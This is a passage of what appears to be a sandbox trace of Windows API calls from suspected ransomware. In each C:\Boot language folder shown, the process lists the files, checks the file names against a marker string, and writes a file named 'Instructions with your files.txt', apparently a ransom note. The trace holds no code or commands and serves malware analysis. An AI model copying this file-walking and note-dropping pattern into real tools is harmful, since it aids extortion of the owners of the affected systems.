[0111.910] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf567c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cf567c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf567c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.910] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\Instructions with your files.txt") returned 50
[0111.910] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.910] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf567c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cf567c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf567c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.910] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\Instructions with your files.txt") returned 50
[0111.910] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\Instructions with your files.txt" (normalized: "c:\\boot\\nl-nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.927] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.928] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.928] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.928] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.929] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.929] CloseHandle (hObject=0x108) returned 1
[0111.929] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.929] GetProcessHeap () returned 0x810000
[0111.929] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.929] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf7c920, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf7c920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
[0111.929] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL") returned 17
[0111.929] GetProcessHeap () returned 0x810000
[0111.929] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.929] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\*") returned 19
[0111.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf7c920, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf7c920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.929] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\.") returned 19
[0111.929] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf7c920, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf7c920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.929] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\..") returned 20
[0111.929] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.929] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 33
[0111.930] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.930] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf7c920, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cf7c920, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf7c920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.930] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\Instructions with your files.txt") returned 50
[0111.930] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.930] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf7c920, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cf7c920, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf7c920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.930] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\Instructions with your files.txt") returned 50
[0111.930] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\Instructions with your files.txt" (normalized: "c:\\boot\\pl-pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.930] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.931] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.931] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.931] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.931] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.931] CloseHandle (hObject=0x108) returned 1
[0111.931] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.931] GetProcessHeap () returned 0x810000
[0111.931] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.931] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf7c920, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf7c920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
[0111.931] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR") returned 17
[0111.931] GetProcessHeap () returned 0x810000
[0111.931] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.932] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\*") returned 19
[0111.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf7c920, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf7c920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.960] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\.") returned 19
[0111.960] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cf7c920, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf7c920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.962] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\..") returned 20
[0111.962] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.962] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 33
[0111.962] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.962] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf7c920, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cf7c920, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf7c920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.962] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\Instructions with your files.txt") returned 50
[0111.962] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.962] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf7c920, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cf7c920, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cf7c920, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.962] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\Instructions with your files.txt") returned 50
[0111.962] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\Instructions with your files.txt" (normalized: "c:\\boot\\pt-br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.962] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.963] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.963] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.963] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.963] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.963] CloseHandle (hObject=0x108) returned 1
[0111.964] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.964] GetProcessHeap () returned 0x810000
[0111.964] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.964] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
[0111.964] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT") returned 17
[0111.964] GetProcessHeap () returned 0x810000
[0111.964] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.964] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\*") returned 19
[0111.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.964] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\.") returned 19
[0111.964] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.964] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\..") returned 20
[0111.964] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.964] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 33
[0111.964] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.964] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfa2a80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.964] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\Instructions with your files.txt") returned 50
[0111.964] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.964] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfa2a80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.964] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\Instructions with your files.txt") returned 50
[0111.964] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\Instructions with your files.txt" (normalized: "c:\\boot\\pt-pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.968] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.969] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.969] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.969] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.969] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.969] CloseHandle (hObject=0x108) returned 1
[0111.969] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.969] GetProcessHeap () returned 0x810000
[0111.969] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.970] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
[0111.970] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU") returned 17
[0111.970] GetProcessHeap () returned 0x810000
[0111.970] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.970] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\*") returned 19
[0111.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.985] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\.") returned 19
[0111.985] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cfa2a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfa2a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
